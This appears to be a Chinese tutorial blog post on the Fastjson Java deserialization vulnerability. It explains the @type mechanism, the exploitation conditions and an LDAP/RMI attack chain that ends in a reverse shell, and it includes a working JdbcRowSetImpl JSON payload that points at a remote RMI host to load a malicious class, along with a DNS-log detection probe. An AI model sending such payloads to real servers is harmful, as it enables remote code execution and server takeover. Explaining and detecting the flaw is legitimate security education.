fastjson漏洞

目录

一.fastjson的简述

二.fastjson原理

三.fastjson反序列漏洞利用条件:

四.fastjson整个的攻击步骤


一.fastjson的简述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

二.fastjson原理

fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行

首先我们需要知道什么是fastjson格式,以及他序列化的一些形式

json格式数据

一个件,一个值

{

"key1" : "张三",//键:值

"key2" : 大忽悠"

}

也可以嵌套

fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。

json={

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//student是子类哈

}

序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}

这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。

json={

字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//子类

}

上面就是一个抽象理解过程

下面就是具体的代码理解

{

"b":{

"@type":"com.sun.rowset.jdbcRowSetImpl",//

"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源

"autoCommit":true

}

}

1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。

  1. dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。

三.fastjson反序列漏洞利用条件:

1.目标服务器存在fastjson。

2.没有对用户传输的数据进行严格过滤。

四.fastjson整个的攻击步骤

这里用ldap协议

1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。

2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。

3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。

4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。

五.检测

{

"a":{

"@type":"java.net.Inet4Address",//用ipv4来检测。

"val":"获取的dnslog子域名"

}

}

相关推荐
链上Sniper3 分钟前
智能合约状态快照技术:实现 EVM 状态的快速同步与回滚
java·大数据·linux·运维·web3·区块链·智能合约
cliffordl1 小时前
MCP 传输机制(Streamable HTTP)
网络·网络协议·http
晨曦丿1 小时前
双11服务器
linux·服务器·网络
从零开始学习人工智能1 小时前
深入解析 OPC UA:工业自动化与物联网的关键技术
运维·物联网·自动化
galaxylove1 小时前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
漫谈网络1 小时前
WebSocket扫盲
网络·websocket·网络协议
从后端到QT2 小时前
SRS流媒体服务器(8)源码分析之rtc/rtmp互相转码详解
运维·服务器·实时音视频
CodeWithMe2 小时前
Nginx入门进阶:从零到高手的实战指南
运维·nginx
鹏大师运维2 小时前
在银河麒麟V10 SP1上手动安装与配置高版本Docker的完整指南
linux·运维·docker·容器·麒麟·统信uos·中科方德
QMCY_jason2 小时前
linux 内存占用排查 vm.nr_hugepages
linux·运维·服务器